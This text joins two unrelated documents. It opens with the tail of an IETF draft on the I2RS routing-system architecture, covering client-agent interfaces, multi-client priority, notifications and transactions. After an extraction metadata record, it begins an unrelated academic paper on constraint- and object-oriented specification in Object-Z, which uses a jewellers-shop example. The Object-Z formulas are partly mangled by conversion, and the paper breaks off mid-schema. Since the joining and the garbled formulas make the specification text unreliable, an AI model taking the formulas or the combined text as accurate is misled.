where multiple routes are stored at different preferences. (For I2RS state in the presence of two I2RS clients, please see section 1.2 and section 7.8) An I2RS Client may register for notifications, subject to its notification scope, regarding state modification or removal by a particular I2RS Client. 6.3. Interactions with Local Config Changes may originate from either Local Config or from I2RS. The modifications and data stored by I2RS are separate from the local device configuration, but conflicts between the two must be resolved in a deterministic manner that respects operator-applied policy. That policy can determine whether Local Config overrides a particular I2RS client’s request or vice versa. To achieve this end, either by default Local Config always wins or, optionally, a routing element may permit a priority to be configured on the device for the Local Config mechanism. The policy mechanism in the later case is comparing the I2RS client’s priority with that priority assigned to the Local Config. When the Local Config always wins, some communication between that subsystem and the I2RS Agent is still necessary. That communication contains the details of each specific device configuration change that the I2RS Agent is permitted to modify. In addition, when the system determines, that a client’s I2RS state is preempted, the I2RS agent must notify the affected I2RS clients; how the system determines this is implementation-dependent. It is critical that policy based upon the source is used because the resolution cannot be time-based. Simply allowing the most recent state to prevail could cause race conditions where the final state is not repeatably deterministic. 6.4. Routing Components and Associated I2RS Services For simplicity, each logical protocol or set of functionality that can be compactly described in a separable information and data model is considered as a separate I2RS Service. A routing element need not implement all routing components described nor provide the associated I2RS services. When a full implementation is not mandatory, an I2RS Service should include a capability model so that implementations can indicate which parts of the service are supported. Each I2RS Service requires an information model that describes at least the following: data that can be read, data that can be written, notifications that can be subscribed to, and the capability model mentioned above. The initial services included in the I2RS architecture are as follows. There are relationships between different I2RS Services - whether those be the need for the RIB to refer to specific interfaces, the desire to refer to common complex types (e.g. links, nodes, IP addresses), or the ability to refer to implementation-specific functionality (e.g. pre-defined templates to be applied to interfaces or for QoS behaviors that traffic is direct into). Section 6.4.5 discusses information modeling constructs and the range of relationship types that are applicable. 6.4.1. Routing and Label Information Bases Routing elements may maintain one or more Information Bases. Examples include Routing Information Bases such as IPv4/IPv6 Unicast or IPv4/IPv6 Multicast. Another such example includes the MPLS Label Information Bases, per-platform or per-interface. This functionality, exposed via an I2RS Service, must interact smoothly with the same mechanisms that the routing element already uses to handle RIB input from multiple sources, so as to safely change the system state. Conceptually, this can be handled by having the I2RS Agent communicate with a RIB Manager as a separate routing source. The point-to-multipoint state added to the RIB does not need to match to well-known multicast protocol installed state. The I2RS Agent can create arbitrary replication state in the RIB, subject to the advertised capabilities of the routing element. 6.4.2. IGPs, BGP and Multicast Protocols A separate I2RS Service can expose each routing protocol on the device. Such I2RS services may include a number of different kinds of operations: - reading the various internal RIB(s) of the routing protocol is often helpful for understanding the state of the network. Directly writing to these protocol-specific RIBs or databases is out of scope for I2RS. - reading the various pieces of policy information the particular protocol instance is using to drive its operations. - writing policy information such as interface attributes that are specific to the routing protocol or BGP policy that may indirectly manipulate attributes of routes carried in BGP. - writing routes or prefixes to be advertised via the protocol. - joining/removing interfaces from the multicast trees - subscribing to an information stream of route changes - receiving notifications about peers coming up or going down For example, the interaction with OSPF might include modifying the local routing element’s link metrics, announcing a locally-attached prefix, or reading some of the OSPF link-state database. However, direct modification of the link-state database must not be allowed in order to preserve network state consistency. 6.4.3. MPLS I2RS Services will be needed to expose the protocols that create transport LSPs (e.g. LDP and RSVP-TE) as well as protocols (e.g. BGP, LDP) that provide MPLS-based services (e.g. pseudowires, L3VPNs, L2VPNs, etc). This should include all local information about LSPs originating in, transiting, or terminating in this Routing Element. 6.4.4. Policy and QoS Mechanisms Many network elements have separate policy and QoS mechanisms, including knobs which affect local path computation and queue control capabilities. These capabilities vary widely across implementations, and I2RS cannot model the full range of information collection or manipulation of these attributes. A core set does need to be included in the I2RS information models and supported in the expected interfaces between the I2RS Agent and the network element, in order to provide basic capabilities and the hooks for future extensibility. By taking advantage of extensibility and sub-classing, information models can specify use of a basic model that can be replaced by a more detailed model. 6.4.5. Information Modeling, Device Variation, and Information Relationships I2RS depends heavily on information models of the relevant aspects of the Routing Elements to be manipulated. These models drive the data models and protocol operations for I2RS. It is important that these informational models deal well with a wide variety of actual implementations of Routing Elements, as seen between different products and different vendors. There are three ways that I2RS information models can address these variations: class or type inheritance, optional features, and templating. 6.4.5.1. Managing Variation: Object Classes/Types and Inheritance Information modelled by I2RS from a Routing Element can be described in terms of classes or types or object. Different valid inheritance definitions can apply. What is appropriate for I2RS to use is not determined in this architecture; for simplicity, class and subclass will be used as the example terminology. This I2RS architecture does require the ability to address variation in Routing Elements by allowing information models to define parent or base classes and subclasses. The base or parent class defines the common aspects that all Routing Elements are expected to support. Individual subclasses can represent variations and additional capabilities. When applicable, there may be several levels of refinement. The I2RS protocol can then provide mechanisms to allow an I2RS client to determine which classes a given I2RS Agent has available. Clients which only want basic capabilities can operate purely in terms of base or parent classes, while a client needing more details or features can work with the supported sub-class(es). As part of I2RS information modeling, clear rules should be specified for how the parent class and subclass can relate; for example, what changes can a subclass make to its parent? The description of such rules should be done so that it can apply across data modeling tools until the I2RS data modeling language is selected. 6.4.5.2. Managing Variation: Optionality I2RS Information Models must be clear about what aspects are optional. For instance, must an instance of a class always contain a particular data field X? If so, must the client provide a value for X when creating the object or is there a well-defined default value? From the Routing Element perspective, in the above example, each Information model should provide information that: - Is X required for the data field to be accepted and applied? - If X is optional, then how does "X" as an optional portion of data field interact with the required aspects of the data field? - Does the data field have defaults for the mandatory portion of the field and the optional portions of the field? - Is X required to be within a particular set of values (E.g. range, length of strings)? The information model needs to be clear about what read or write values are set by client and what responses or actions are required by the agent. It is important to indicate what is required or optional in client values and agent responses/actions. 6.4.5.3. Managing Variation: Templating A template is a collection of information to address a problem; it cuts across the notions of class and object instances. A template provides a set of defined values for a set of information fields and can specify a set of values that must be provided to complete the template. Further, a flexible template scheme may that some of the defined values can be over-written. For instance, assigning traffic to a particular service class might be done by specifying a template Queueing with a parameter to indicate Gold, Silver, or Best Effort. The details of how that is carried out are not modeled. This does assume that the necessary templates are made available on the Routing Element via some mechanism other than I2RS. The idea is that by providing suitable templates for tasks that need to be accomplished, with templates implemented differently for different kinds of Routing Elements, the client can easily interact with the Routing Element without concern for the variations which are handled by values included in the template. If implementation variation can be exposed in other ways, templates may not be needed. However, templates themselves could be objects referenced in the protocol messages, with Routing Elements being configured with the proper templates to complete the operation. This is a topic for further discussion. 6.4.5.4. Object Relationships Objects (in a Routing Element or otherwise) do not exist in isolation. They are related to each other. One of the important things a class definition does is represent the relationships between instances of different classes. These relationships can be very simple, or quite complicated. The following lists the information relationships that the information models need to support. 6.4.5.4.1. Initialization The simplest relationship is that one object instance is initialized by copying another. For example, one may have an object instance that represents the default setup for a tunnel, and all new tunnels have fields copied from there if they are not set as part of establishment. This is closely related to the templates discussed above, but not identical. Since the relationship is only momentary it is often not formally represented in modeling, but only captured in the semantic description of the default object. 6.4.5.4.2. Correlation Identification Often, it suffices to indicate in one object that it is related to a second object, without having a strong binding between the two. So an Identifier is used to represent the relationship. This can be used to allow for late binding, or a weak binding that does not even need to exist. A policy name in an object might indicate that if a policy by that name exists, it is to be applied under some circumstance. In modeling this is often represented by the type of the value. 6.4.5.4.3. Object References Sometimes the relationship between objects is stronger. A valid ARP entry has to point to the active interface over which it was derived. This is the classic meaning of an object reference in programming. It can be used for relationships like containment or dependence. This is usually represented by an explicit modeling link. 6.4.5.4.4. Active Reference There is an even stronger form of coupling between objects if changes in one of the two objects are always to be reflected in the state of the other. For example, if a Tunnel has an MTU (maximum transmit unit), and link MTU changes need to immediately propagate to the Tunnel MTU, then the tunnel is actively coupled to the link interface. This kind of active state coupling implies some sort of internal bookkeeping to ensure consistency, often conceptualized as a subscription model across objects. 7. I2RS Client Agent Interface 7.1. One Control and Data Exchange Protocol As agreed by the I2RS working group, this I2RS architecture assumes that there is a single I2RS protocol for control and data exchange; that protocol will be based on NETCONF [RFC6241] and RESTCONF [I-D.ietf-netconf-restconf]. This helps meet the goal of simplicity and thereby enhances deployability. That protocol may need to use several underlying transports (TCP, SCTP (stream control transport protocol), DCCP (Datagram Congestion Control Protocol)), with suitable authentication and integrity protection mechanisms. These different transports can support different types of communication (e.g. control, reading, notifications, and information collection) and different sets of data. Whatever transport is used for the data exchange, it must also support suitable congestion control mechanisms. The transports chosen should be operator and implementor friendly to ease adoption. 7.2. Communication Channels Multiple communication channels and multiple types of communication channels are required. There may be a range of requirements (e.g. confidentiality, reliability), and to support the scaling there may need to be channels originating from multiple sub-components of a routing element and/or to multiple parts of an I2RS client. All such communication channels will use the same higher level protocol. Use of additional channels for communication will be coordinated between the I2RS client and the I2RS agent. I2RS protocol communication can be delivered in-band via the routing system’s data plane. I2RS protocol communication might be delivered out-of-band via a management interface. Depending on what operations are requested, it is possible for the I2RS protocol communication to cause the in-band communication channels to stop working; this could cause the I2RS agent to become unreachable across that communication channel. 7.3. Capability Negotiation The support for different protocol capabilities and I2RS Services will vary across I2RS Clients and Routing Elements supporting I2RS Agents. Since each I2RS Service is required to include a capability model (see Section 6.4), negotiation at the protocol level can be restricted to protocol specifics and which I2RS Services are supported. Capability negotiation (such as which transports are supported beyond the minimum required to implement) will clearly be necessary. It is important that such negotiations be kept simple and robust, as such mechanisms are often a source of difficulty in implementation and deployment. The protocol capability negotiation can be segmented into the basic version negotiation (required to ensure basic communication), and the more complex capability exchange which can take place within the base protocol mechanisms. In particular, the more complex protocol and mechanism negotiation can be addressed by defining information models for both the I2RS Agent and the I2RS Client. These information models can describe the various capability options. This can then represent and be used to communicate important information about the agent, and the capabilities thereof. 7.4. Identity and Security Role Each I2RS Client will have a unique identity; it can also have secondary identities to be used for troubleshooting. A secondary identity is merely a unique, opaque identifier that may be helpful in troubleshooting. Via authentication and authorization mechanisms based on the primary unique identity, the I2RS Client will have a specific scope for reading data, for writing data, and limitations on the resources that can be consumed. The scopes need to specify both the data and the value ranges. 7.4.1. Client Redundancy I2RS must support client redundancy. At the simplest, this can be handled by having a primary and a backup network application that both use the same client identity and can successfully authenticate as such. Since I2RS does not require a continuous transport connection and supports multiple transport sessions, this can provide some basic redundancy. However, it does not address concerns for troubleshooting and accountability about knowing which network application is actually active. At a minimum, basic transport information about each connection and time can be logged with the identity. 7.5. Connectivity A client may or may not maintain an active communication channel with an agent. Therefore, an agent may need to open a communication channel to the client to communicate previously requested information. The lack of an active communication channel does not imply that the associated client is non-functional. When communication is required, the agent or client can open a new communication channel. State held by an agent that is owned by a client should not be removed or cleaned up when a client is no longer communicating – even if the agent cannot successfully open a new communication channel to the client. For many applications, it may be desirable to clean up state if a network application dies before removing the state it has created. Typically, this is dealt with in terms of network application redundancy. If stronger mechanisms are desired, mechanisms outside of I2RS may allow a supervisory network application to monitor I2RS clients, and based on policy known to the supervisor clean up state if applications die. More complex mechanism instantiated in the I2RS agent would add complications to the I2RS protocol and are thus left for future work. Some examples of such a mechanism include the following. In one option, the client could request state clean-up if a particular transport session is terminated. The second is to allow state expiration, expressed as a policy associated with the I2RS client’s role. The state expiration could occur after there has been no successful communication channel to or from the I2RS client for the policy-specified duration. 7.6. Notifications As with any policy system interacting with the network, the I2RS Client needs to be able to receive notifications of changes in network state. Notifications here refers to changes which are unanticipated, represent events outside the control of the systems (such as interface failures on controlled devices), or are sufficiently sparse as to be anomalous in some fashion. A notification may also be due to a regular event. Such events may be of interest to multiple I2RS Clients controlling data handled by an I2RS Agent, and to multiple other I2RS clients which are collecting information without exerting control. The architecture therefore requires that it be practical for I2RS Clients to register for a range of notifications, and for the I2RS Agents to send notifications to a number of Clients. The I2RS Client should be able to filter the specific notifications that will be received; the specific types of events and filtering operations can vary by information model and need to be specified as part of the information model. The I2RS information model needs to include representation of these events. As discussed earlier, the capability information in the model will allow I2RS clients to understand which events a given I2RS Agent is capable of generating. For performance and scaling by the I2RS client and general information privacy, an I2RS Client needs to be able to register for just the events it is interested in. It is also possible that I2RS might might provide a stream of notifications via a publish/subscribe mechanism that is not amenable to having the I2RS agent do the filtering. 7.7. Information collection One of the other important aspects of the I2RS is that it is intended to simplify collecting information about the state of network elements. This includes both getting a snapshot of a large amount of data about the current state of the network element, and subscribing to a feed of the ongoing changes to the set of data or a subset thereof. This is considered architecturally separate from notifications due to the differences in information rate and total volume. 7.8. Multi-Headed Control As was described earlier, an I2RS Agent interacts with multiple I2RS Clients who are actively controlling the network element. From an architecture and design perspective, the assumption is that by means outside of this system the data to be manipulated within the network element is appropriately partitioned so that any given piece of information is only being manipulated by a single I2RS Client. Nonetheless, unexpected interactions happen and two (or more) I2RS clients may attempt to manipulate the same piece of data. This is considered an error case. This architecture does not attempt to determine what the right state of data should be when such a collision happens. Rather, the architecture mandates that there be decidable means by which I2RS Agents handle the collisions. The mechanism for ensuring predictability is to have a simple priority associated with each I2RS clients, and the highest priority change remains in effect. In the case of priority ties, the first client whose attribution is associated with the data will keep control. In order for this approach to multi-headed control to be useful for I2RS Clients, it is important that it is possible for an I2RS Client to register for changes to any changes made by I2RS to data that it may care about. This is included in the I2RS event mechanisms. This also needs to apply to changes made by CLI/NETCONF/SNMP within the write-scope of the I2RS Agent, as the same priority mechanism (even if it is "CLI always wins") applies there. The I2RS client may then respond to the situation as it sees fit. 7.9. Transactions In the interest of simplicity, the I2RS architecture does not include multi-message atomicity and rollback mechanisms. Rather, it includes a small range of error handling for a set of operations included in a single message. An I2RS Client may indicate one of the following three error handling for a given message with multiple operations which it sends to an I2RS Agent: Perform all or none: This traditional SNMP semantic indicates that other I2RS agent will keep enough state when handling a single message to roll back the operations within that message. Either all the operations will succeed, or none of them will be applied and an error message will report the single failure which caused them not to be applied. This is useful when there are, for example, mutual dependencies across operations in the message. Perform until error: In this case, the operations in the message are applied in the specified order. When an error occurs, no further operations are applied, and an error is returned indicating the failure. This is useful if there are dependencies among the operations and they can be topologically sorted. Perform all storing errors: In this case, the I2RS Agent will attempt to perform all the operations in the message, and will return error indications for each one that fails. This is useful when there is no dependency across the operation, or where the client would prefer to sort out the effect of errors on its own. In the interest of robustness and clarity of protocol state, the protocol will include an explicit reply to modification or write operations even when they fully succeed. 8. Operational and Manageability Considerations In order to facilitate troubleshooting of routing elements implementing I2RS agents, those routing elements should provide for a mechanism to show actively provisioned I2RS state and other I2RS Agent internal information. Note that this information may contain highly sensitive material subject to the Security Considerations of any data models implemented by that Agent and thus must be protected according to those considerations. Preferably, this mechanism should use a different privileged means other than simply connecting as an I2RS client to learn the data. Using a different mechanism should improve traceability and failure management. Manageability plays a key aspect in I2RS. Some initial examples include: Resource Limitations: Using I2RS, applications can consume resources, whether those be operations in a time-frame, entries in the RIB, stored operations to be triggered, etc. The ability to set resource limits based upon authorization is important. Configuration Interactions: The interaction of state installed via the I2RS and via a router’s configuration needs to be clearly defined. As described in this architecture, a simple priority that is configured is used to provide sufficient policy flexibility. 9. IANA Considerations This document includes no request to IANA. 10. Acknowledgements Significant portions of this draft came from draft-ward-i2rs-framework-00 and draft-atlas-i2rs-policy-framework-00. The authors would like to thank Nitin Bahadur, Shane Amante, Ed Crabbe, Ken Gray, Carlos Pignataro, Wes George, Ron Bonica, Joe Clarke, Juergen Schoenwalder, Jeff Haas, Jamal Hadi Salim, Scott Brim, Thomas Narten, Dean Bogdanovi, Tom Petch, Robert Raszuk, Sriganesh Kini, John Mattsson, Nancy Cam-Winget, DaCheng Zhang, Qin Wu, Ahmed Abro, Salman Asadullah, and Eric Yu. for their suggestions and review. 11. Informative References [I-D.ietf-i2rs-problem-statement] [I-D.ietf-idr-ls-distribution] [I-D.ietf-netconf-restconf] Authors’ Addresses Alia Atlas Juniper Networks 10 Technology Park Drive Westford, MA 01886 USA Email: akatlas@juniper.net
{"Source-Url": "http://www.watersprings.org/pub/id/draft-ietf-i2rs-architecture-07.pdf", "len_cl100k_base": 12431, "olmocr-version": "0.1.53", "pdf-total-pages": 31, "total-fallback-pages": 0, "total-input-tokens": 62379, "total-output-tokens": 13961, "length": "2e13", "weborganizer": {"__label__adult": 0.0004093647003173828, "__label__art_design": 0.0004534721374511719, "__label__crime_law": 0.0004699230194091797, "__label__education_jobs": 0.0013933181762695312, "__label__entertainment": 0.00022327899932861328, "__label__fashion_beauty": 0.00019097328186035156, "__label__finance_business": 0.0007658004760742188, "__label__food_dining": 0.0003123283386230469, "__label__games": 0.0011615753173828125, "__label__hardware": 0.00896453857421875, "__label__health": 0.00044608116149902344, "__label__history": 0.0007042884826660156, "__label__home_hobbies": 0.0001189112663269043, "__label__industrial": 0.000903606414794922, "__label__literature": 0.0004420280456542969, "__label__politics": 0.0003139972686767578, "__label__religion": 0.000530242919921875, "__label__science_tech": 0.31298828125, "__label__social_life": 0.00012362003326416016, "__label__software": 0.0958251953125, "__label__software_dev": 0.57080078125, "__label__sports_fitness": 0.0003523826599121094, "__label__transportation": 0.0016717910766601562, "__label__travel": 0.0003643035888671875}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 61991, 0.03096]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 61991, 0.43085]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 61991, 0.91548]], "google_gemma-3-12b-it_contains_pii": [[0, 292, false], [292, 2618, null], [2618, 4315, null], [4315, 6589, null], [6589, 8791, null], [8791, 8841, null], [8841, 10964, null], [10964, 13512, null], [13512, 15833, null], [15833, 18219, null], [18219, 20647, null], [20647, 23219, null], [23219, 25699, null], [25699, 28278, null], [28278, 30517, null], [30517, 32978, null], [32978, 35058, null], [35058, 37265, null], [37265, 38057, null], [38057, 40116, null], [40116, 42570, null], [42570, 44806, null], [44806, 46923, null], [46923, 49314, null], [49314, 51502, null], [51502, 53729, null], [53729, 55858, null], [55858, 58425, null], [58425, 60446, null], [60446, 61991, null], [61991, 61991, null]], "google_gemma-3-12b-it_is_public_document": [[0, 292, true], [292, 2618, null], [2618, 4315, null], [4315, 6589, null], [6589, 8791, null], [8791, 8841, null], [8841, 10964, null], [10964, 13512, null], [13512, 15833, null], [15833, 18219, null], [18219, 20647, null], [20647, 23219, null], [23219, 25699, null], [25699, 28278, null], [28278, 30517, null], [30517, 32978, null], [32978, 35058, null], [35058, 37265, null], [37265, 38057, null], [38057, 40116, null], [40116, 42570, null], [42570, 44806, null], [44806, 46923, null], [46923, 49314, null], [49314, 51502, null], [51502, 53729, null], [53729, 55858, null], [55858, 58425, null], [58425, 60446, null], [60446, 61991, null], [61991, 61991, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 61991, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 61991, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 61991, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 61991, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 61991, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 61991, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 61991, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 61991, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 61991, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 61991, null]], "pdf_page_numbers": [[0, 292, 1], [292, 2618, 2], [2618, 4315, 3], [4315, 6589, 4], [6589, 8791, 5], [8791, 8841, 6], [8841, 10964, 7], [10964, 13512, 8], [13512, 15833, 9], [15833, 18219, 10], [18219, 20647, 11], [20647, 23219, 12], [23219, 25699, 13], [25699, 28278, 14], [28278, 30517, 15], [30517, 32978, 16], [32978, 35058, 17], [35058, 37265, 18], [37265, 38057, 19], [38057, 40116, 20], [40116, 42570, 21], [42570, 44806, 22], [44806, 46923, 23], [46923, 49314, 24], [49314, 51502, 25], [51502, 53729, 26], [53729, 55858, 27], [55858, 58425, 28], [58425, 60446, 29], [60446, 61991, 30], [61991, 61991, 31]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 61991, 0.0]]}
olmocr_science_pdfs
2024-12-09
2024-12-09
a87d1446d6716df1e50345976b438d2358d37758
Constraint-oriented style for object-oriented formal specification T. Bolognesi J. Derrick Indexing terms: Object-oriented, Formal specification, Constraint-oriented style, Object-Z Abstract: The authors propose a specification style which combines the features and advantages of object-oriented and constraint-oriented system decomposition. A system description is decomposed into data-handling objects, which usually reflect objects and individual operations in the real system, and temporal-ordering constraints, which capture aspects of functionality as behavioural sequences, with a possibility to also introduce entities which blur the distinction between these two extreme cases. Composition is achieved via synchronisation on shared operations: different objects/constraints insisting on an operation express different views on the enabling conditions and effects of that operation. Objects, constraints, and their composition can be formally specified in Object-Z, an object-oriented extension of the Z notation, with pure temporal ordering constraints equivalently expressed as transition graphs. However, expressing object/constraint compositions in Object-Z is cumbersome. This problem is solved by proposing a natural textual notation, called co-expression, which is a most direct description of an object/constraint interconnection graph, and we define a mapping from co-expressions to Object-Z. Thus, specifications in an object/constraint-oriented style can be conveniently written using transition graphs and interconnection diagrams mixed with Object-Z text, and then translated into this language. 1 Introduction Object-oriented design is a well established discipline for the design of large software systems, based on a peculiar way to break the complexity of a system and decompose its description into parts. In [1] it is quoted: 'Object-oriented design may be defined as a technique which, unlike classical (functional) design, bases the modular decomposition of a software system on the classes of objects the system manipulates, not on the functions the system performs.' A central idea in O-O design is that it is not only natural, but also convenient, for maintainability and reusability reasons, to let the design reflect the categories of objects found in the real system, provided these are viewed at a sufficiently high level of abstraction. An object is an entity that encapsulates data structures, and offers operations to its users for manipulating those structures. Thus, in O-O design, a system is fundamentally conceived as a set of interacting objects, each encapsulating a fragment of the global state; interaction involves one object offering an operation capable of modifying the object's internal data, and another object triggering that operation (see Fig. 1). ![Fig. 1 Object-oriented system decomposition](image1) Fig. 1 Object-oriented system decomposition ![Fig. 2 Decomposing systems and operations](image2) Fig. 2 Decomposing systems and operations We propose here to extend the O-O decomposition process to operations. Let us anticipate the essence of this idea with the support of a few abstract pictures. An operation shall be conceived as composed of parts, each one reflecting different concerns and affecting the encapsulated data of different objects (see Fig. 2). Objects shall also interact by sharing operations, rather than by only triggering the operations of one another in a client-server fashion. Under this enhanced decomposition criterion, which we view as complementary rather than alternative to classical O-O decomposition, the notion of an object expands to a wider concept, that of constraint, and we shall talk about constraint- and object-oriented (C-O-O) decomposition, and C-O-O design. First, a simple form of C-O-O design is illustrated by the abstract example of Fig. 3. In this type of system, one can draw a clear separation line between the traditional, data encapsulating objects (each one offering its own set of operations) and the operation- ordering constraint, which constrains all those operations according to a precisely defined temporal pattern. In Fig. 3, the graphical elements filled by vertical lines refer to the handling of encapsulated data, that is, they represent the data items themselves (the circles) and those aspects of an operation that relate to how the data structures are handled (the puzzle pieces labelled ‘now’); the graphical elements filled by horizontal lines refer to the ordering of operations in time, i.e. they represent an operation just as an event related to other events in time (the puzzle pieces labelled ‘when’), and the auxiliary, typically binary state variables used for enforcing the temporal ordering. ![Fig. 3 Decomposition into data-handling objects and operation-ordering constraint](image) In a more general form of C-O-O design, the concerns about handling data structures and ordering operations are intertwined, so that we may have pure data-handling objects, pure operation-ordering constraints, and objects/constraints dealing with both aspects (see Fig. 4). Since an operation-ordering constraint can be viewed as an object, and a data-handling object can be viewed as a constraint relating the encapsulated data values and the operation parameters, in the new C-O-O setting we shall frequently use the terms ‘object’ and ‘constraint’ as synonyms. Note that an object may impose both temporal ordering and data-related constraints on the same operation; in this case the relevant puzzle piece is painted both with horizontal and with vertical lines. The interest in formal methods for (hardware and) software development has grown quite substantially in the last few years, with industrial environments paying more and more attention to various formal specification and verification techniques, and to a growing body of supporting tools. The C-O-O design technique that we propose here is fully formal, in that it consists of a special, constraint-oriented usage of the Object-Z formal specification language [2], and of an associated, convenient syntactic extension; Object-Z is, in turn, a well-known object-oriented extension of the Z notation [3]. We expect some important advantages from our C-O-O design technique, that derive from its three-faceted nature. Being object-oriented, it supports specifications that reflect the (essential features of) actual objects in the ‘real’ world, with the usual benefits in terms of understandability, maintainability and reusability. Being formal (mapped into Object-Z), it provides support for analysis and verification. Further advantages are expected from the third aspect of C-O-O design, namely constraint-oriented specification. At a very general level, we may define the ‘constraint-oriented specification style’ as a way of structuring the description of virtually anything as the conjunction of constraints on a set of atomic elements, each constraint representing a partial view of the global picture. A system of inequalities is a simple example of constraint-oriented description, with variables playing the part of the atomic elements, individual inequalities representing constraints, and the whole space of solutions corresponding to the global picture. The advantage offered by the constraint-oriented specification style is, again, understandability; in this respect, while structuring a specification into objects is convenient because it reflects the concrete objects found in the ‘real’ system, structuring it into constraints is convenient because it partitions the system behaviour into sufficiently simple and separated functional aspects. Furthermore, composing constraints is natural, almost as natural as putting in sequence some sentences in natural language. Interestingly, while O-O decomposition has been originally proposed as an alternative to functional-decomposition, as apparent from the introductory quote from Meyer, with constraints we are re-integrating a flexible form of functional decomposition into O-O design. This paper assumes familiarity with the Z notation [3], and basic notions of object-oriented programming. 2 Specifying the jewellers system in Object-Z In this Section we specify our running example, the Jewellers shop, in Object-Z (this example was first used in [4] for illustrating the flexibility of other specification languages). The specification illustrates that Object-Z supports a constraint-oriented specification style, and provides for a nice separation of concerns, in that component objects are used to either specify ordering constraints or to specify data handling. The specification is completed by describing the interaction among these components, which is given in a top level system object, whose purpose is to specify the system-wide constraints. We begin by providing an informal description of the Jewellers shop; within the description, italics will be used to identify keywords used in the formal specification. 1. A jeweller shop is run by three friends: Mike, Mary and Jane. Together, they open the shop every morning and close it every evening (openShop, closeShop), perhaps via a three-key lock. Every night Mike and Mary go to the theatre (toTheatre), while Jane goes to a discotheque (toDisco). The following is a description of what may happen during the day in the shop. 2. Mike takes care of accepting new precious pieces (pieceIn) from external producers that need not be specified, and of storing them in the safe. At any time he may also update a table (ValTable) that indicates the value of each precious metal, namely platinum, gold, and silver, per weight unit (unitVal). An update consists of a new (material, unitary-value) pair (matValPair). The input pieces are characterised by their weight, material, and value (wei, mat, val), the third parameter depending exclusively on the first and second ones, via the table of unitary values. 3. Jane is the window dresser; she may move pieces between the Safe and the shop Window (pieceToSafe and pieceToWindow). 4. Mary is in charge of the cash deposit (Cash), which she opens (cashUnlock) right after entering the shop, and closes (cashLock) before leaving. She only sells the pieces in the window (pieceOut), at a price which is 1.3 times their current value according to their material and weight. This amount of money is put in the Cash deposit. Note that the value of a piece when leaving the shop may differ from its value when entering it, in case the table had been updated between these two events. Two different customer behaviours are also described. 5. Peter has a bag which he can fill with pieces that he buys during a shopping session. The current weight of the bag (currWei) cannot exceed a maximum weight capacity (MaxWei), but Peter is not happy until the money spent in the current shopping session (currExp) has reached a given threshold (TargetExp); at that point he empties his bag, say, at home (reset) and is ready for a new shopping session. 6. Paul buys a piece only if he has enough funds. However, he can refill his funds by adding some amount of money (Delta), from time to time. 2.1 Formal specification Our formal specification is structured into objects/constraints. In the informal specification above the system appears as partitioned into 'persons', and we shall preserve this aspect in the formal description by creating a constraint for each person (Mike, Mary, ...). However, to achieve an effective separation of concerns, each person-constraint shall only deal with the temporal ordering of the person’s operations (temporal ordering constraints). The individual components of the data space (ValTable, Cash, ...) and the way these are affected by those operations shall be specified by means of other objects (data handling objects). We will specify the example in Object-Z, which is a typical formal object-oriented specification language. Object-Z [2] is an object-oriented extension of the specification language Z [3] which has been developed over a number of years and is perhaps the most mature of all the proposals to extend Z in an object-oriented fashion. Object-Z uses a class schema to encapsulate a state schema together with the operations acting upon that state. It is represented as a named box with zero or more generic parameters. The class schema may include local type or constant definitions, at most one state schema and initial state schema together with zero or more operation schemas. Let us start by specifying the temporal ordering objects. A most direct and concise representation of the operation orderings for Mike, Jane and Mary is provided by the labelled transition graphs of Fig. 5. To formally specify the object Mike, we identify the actions the object can perform (e.g. openShop, closeShop etc) together with their ordering. The specification will need a number of type declarations: \[ \text{material ::= platinum|gold|silver} \\ \text{weight ::= \mathbb{N}} \\ \text{value ::= \mathbb{N}} \] \[ \text{TargetExp : \mathbb{N}} \\ \text{MaxWei : \mathbb{N}} \] The object Mike can then be given as follows: \[ \text{Mike} \\ \text{\hspace{1cm} s \in \{0,1,2\}} \\ \text{\hspace{2.4cm} \text{INIT}} \\ \text{\hspace{3.8cm} \text{\hspace{1cm} s = 0}} \\ \text{\hspace{5.2cm} openShop = \{ s = 0 \land s' = 1 \}} \\ \text{\hspace{5.2cm} closeShop = \{ s = 1 \land s' = 2 \}} \\ \text{\hspace{5.2cm} pieceOut = \{ s = 1 \land s' = 1 \}} \\ \text{\hspace{5.2cm} toTheatre = \{ s = 2 \land s' = 0 \}} \] The variable \( s \) declared in the (unnamed) state schema is local to the class. The initial state schema INIT defines the initial values of the variables in the state schema. The class specified above has five operations: openShop, closeShop, etc. Each operation has a \( \Delta \)-list which contains those state variables which may change when the operation is applied to an object of that class. As in Z, primed variables are used for denoting the effect of the change. An operation does not change the state variables that are not listed in its \( \Delta \)-list. In this specification the state variable \( s \) is used solely to prescribe an order in which the operations can be performed. Initially its value is set to zero. The operations change the state space, for example, the effect of closeShop is to give the value 2 to \( s \). The preconditions and postconditions of the operations force them to be invoked in a particular order [Note 1]. For example, the postcondition of openShop is that \( s = 1 \), which is also the precondition of pieceOut. Thus these two operations may occur in sequence. Having specified Mike in this fashion, we can provide similar descriptions of the objects Jane and Mary as follows: Note 1: The interpretation of operations in an Object-Z class differs from that in Z, in that an Object-Z operation cannot occur outside its precondition. may contain multiple copies of pieces, we model them as bags (i.e. multisets). \[ \text{Cash} = \\ \begin{array}{l} \text{Cash}^{\text{Init} = \text{value}, \text{cash} = 0} \\ \end{array} \] \[ \text{pieceOut} = \begin{array}{l} \Delta(\text{cash}), \text{price}! : \text{value} | \text{cash}' = \text{cash} + \text{price}! \\ \end{array} \] \[ \text{SafeWindow} = \\ \begin{array}{l} \text{safe}, 